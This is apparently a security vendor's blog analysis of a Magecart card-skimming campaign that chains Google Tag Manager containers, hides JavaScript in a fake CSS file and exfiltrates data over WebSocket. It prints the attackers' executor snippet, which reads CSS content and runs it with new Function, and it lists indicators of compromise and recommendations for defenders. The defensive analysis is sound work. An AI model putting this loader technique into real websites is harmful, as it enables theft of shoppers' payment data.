by Source Defense
The Source Defense Research team has uncovered another active eSkimming campaign which demonstrates the use of novel techniques, and an increasing adversarial focus on attacking websites with techniques that bypass eSkimming security controls which focus solely on protecting payment pages. This indicates an evolution on the part of our adversaries in terms of sophistication, and a clear response to the controls outlined under PCI DSS 4.0.1.
As eSkimming/Magecart attacks continue to evolve, for the first time, we’re seeing a modular architecture where each Google Tag Manager (GTM) container has a clearly defined, separate role in executing the attack. This is not merely GTM chaining—it’s purpose-built modularization, and it represents a brand-new level of sophistication in eSkimming/Magecart activity.
In this post, we analyze a highly evasive eSkimming attack that leverages not only modular GTMs, but also disguised CSS payloads, DOM-based execution and Websocket data transfer to bypass detection and potentially circumvent insufficient Content Security Policy (CSP) configurations. It should be noted that the reliance on CSP and SRI as eSkimming security controls – and the failures of both – has been warned about extensively by Source Defense, by our competitors, by QSAs/PCI PFIs. Virtually everyone in the know.
The Anatomy of the Modular GTM Attack
This campaign begins with a known GTM container ID: GTM-NSTTR9L. But rather than executing a single payload, this container kicks off a modular infection chain:
- GTM-NSTTR9L loads another container: GTM-KX36TXD.
- GTM-KX36TXD loads two additional GTM containers, each with a specific function:
- GTM-KTZLSGSS: The loader, responsible for fetching the external payload.
- GTM-W33KS5VH: The executor, which locates and runs the embedded malicious code.
This level of modularity—breaking the logic into dedicated GTM roles—is a significant evolution over the previously reported GTM chaining campaigns.
Additionally, GTM-NSTTR9L and GTM-KX36TXD were observed in earlier eSkimmin attacks used in a more straightforward way, loading malicious JavaScript directly from known blacklisted domains like stylewpcoll\.com, gohckcss\.com, logicloo\.com, and logicwploo\.com.
The Double-Entry Trick: Fake Payment Forms
As with many eSkimming attacks, this one uses the double-entry technique—silently replacing the legitimate payment form with a fake clone that captures and exfiltrates user input. This is yet another example of the active use of this technique and further evidence that a focus on site wide eSkimming security should be employed vs. simply focusing on payment pages. We warned of this just last week in our blog: “New Magecart Variant Targets UK Retailer in Stealthy Double-Entry Attack” – a key excerpt is posted below:
Why PCI DSS 4.0.1 Falls Short
(A.K.A. – Why the Industry as a Whole Warned LOUDLY against Recent Changes to SAQ-A)
This attack provides a textbook example of why PCI DSS 4.0.1 remains insufficient in countering sophisticated client-side threats. While we are engaged with the community, and supportive of the effort and focus on this major area of fraud, it falls short in the face of adversarial tradecraft. This is precisely why we warned against the changes to SAQ-A which put undo emphasis on securing iFrames – and why we, along with one of the most respected QSACs in the industry (CoalFire) emphasized a need to focus on site wide protection in this whitepaper.
The requirements under PCI DSS 4.0.1 primarily emphasize protection around the payment page, but in far too many cases, adversaries launch their attacks before the user reaches that endpoint.
The threat actor never touches the legitimate payment page—instead, they insert themselves earlier in the process, where traditional detection and compliance frameworks offer little to no visibility or control. As such, organizations that rely solely on PCI DSS adherence risk being blindsided by attacks like these.”
While the technique used here is similar to the campaign we highlighted last week, the delivery and execution mechanisms are far more obfuscated and difficult to trace.
The Loader: Disguising the Payload as CSS
The malicious loader GTM (GTM-KTZLSGSS) fetches a fake CSS file from:
Unset
https://goljsdofma\.org/style.css
The response contains no styling rules but instead embeds JavaScript within a CSS content property:
Unset
link.links::before {
content: “malicious code opens the websocket”
}
This content is added to the DOM via a <link> tag with class link.links—making it look like a harmless stylesheet.
The Executor: Extracting and Running the Code
The executor GTM (GTM-W33KS5VH) uses the following logic to retrieve and run the JS embedded in the content:
Unset
(function() {
var b = setInterval(function() {
var a = document.querySelector(“link.links”);
if (!a) return;
a = getComputedStyle(a, “::before”).content;
if (a !== “none”) {
clearInterval(b);
a = a.replace(/^”(.*)”$/, “$1”).replace(/\\”/g, ‘”‘);
(new Function(a))();
}
}, 800);
})();
The payload, once executed, opens a WebSocket connection to goljsdofma\.org, allowing real-time data exfiltration.
Why This Attack Is Unusual
This campaign stands out for several reasons:
- Modular GTM Chain: Instead of using one GTM container, it splits the logic between multiple GTMs—making detection and attribution harder.
- CSS-as-JS Obfuscation: By delivering JS via a fake stylesheet, the attack dodges some script-only defenses.
- CSP Bypass Potential: Many developers lock down the script-src CSP directive but leave style-src and connect-src more permissive, underestimating their potential for abuse.
- WebSocket Exfiltration: The use of WebSocket makes it more difficult to detect or block compared to traditional POST requests.
Recommendations for Defenders
To defend against this kind of Magecart attack, consider the following:
- Audit GTM Containers regularly. Know what each one is loading—especially if containers load others.
- Avoid Reliance on CSP but if you do use it, use strict CSP directives:
- script-src alone is not enough.
- Also restrict style-src and connect-src to trusted domains.
- Monitor DOM mutations for suspicious <link> or <script> insertions.
- Inspect CSS files that are unusually large or that don’t contain valid styles.
- GO BEYOND PCI DSS 4.0.1 requirements – do not simply check a compliance box with a focus on payment page protection – take the lesson from these active campaigns that the entire site needs to be protected.
How to Investigate if You’re Affected
You can start by:
- Searching your GTM container configurations for any of the following IDs:
- GTM-NSTTR9L
- GTM-KX36TXD
- GTM-KTZLSGSS
- GTM-W33KS5VH
- Checking your logs for any outbound traffic or DNS resolutions to:
- goljsdofma\.org
- Other related infrastructure like stylewpcoll\.com, gohckcss\.com, logicloo\.com, or logicwploo\.com.
- goljsdofma\.org
- Reviewing your <link> tags — especially any with suspicious class names like link.links — and whether they include embedded ::before rules with encoded JavaScript.
Attack Summary
This campaign underscores how modern eSkimming/Magecart groups are shifting from monolithic script injections to orchestrated, multi-part delivery systems. We’ve observed:
- Reuse of infrastructure: GTM containers such as GTM-NSTTR9L and GTM-KX36TXD have been involved in earlier attacks where they directly loaded JavaScript from malicious domains. Their reuse in a modular context now suggests an evolution in operator tactics, not just tooling.
- Malicious domain behavior:
- goljsdofma\.org is used to host disguised payloads.
- This domain is contacted both for the “CSS” file and through WebSocket connections, likely for exfiltration and command-and-control communication.
- goljsdofma\.org is used to host disguised payloads.
- Weak CSP policies are still the norm, and this campaign is clearly designed to exploit that. By encoding payloads in CSS and using getComputedStyle().content, the attackers avoid detection by CSP rules focused only on script-src.
Conclusion
This eSkimming campaign represents an evolution in modular, evasive design. By splitting the attack into separate GTM containers—each with a narrow task—attackers achieve stealth, flexibility, and resistance to CSP defenses.
It’s not enough to scan for obvious scripts anymore. Security teams must now consider CSS, WebSockets, and the modular choreography behind the scenes.
Additionally, this is just the latest in a recent string of attacks bypassing payment page eSkimming controls by launching attacks upstream from those pages. Our adversaries are paying as close attention to what is happening with the PCI DSS standard as we are – we must remember that compliance is a floor, the controls outlined in the DSS are there to combat a real problem, and address the core of the problem even if the compliance requirements fall short.
Attackers are adapting. So must we.
Source Defense is a Principal Participating Organization with the PCI Security Standards Council and the pioneer in eSkimming security. We’ve helped thousands of the world’s leading brands address these issues and continue to educate merchants, QSAs, and stakeholders about the vulnerabilities in modern website design that make eSkimming attacks possible.
PCI DSS 4.0 makes client-side security a priority.
Source Defense delivers a solution for 6.4.3 and 11.6.1 without adding a burden to your security teams.
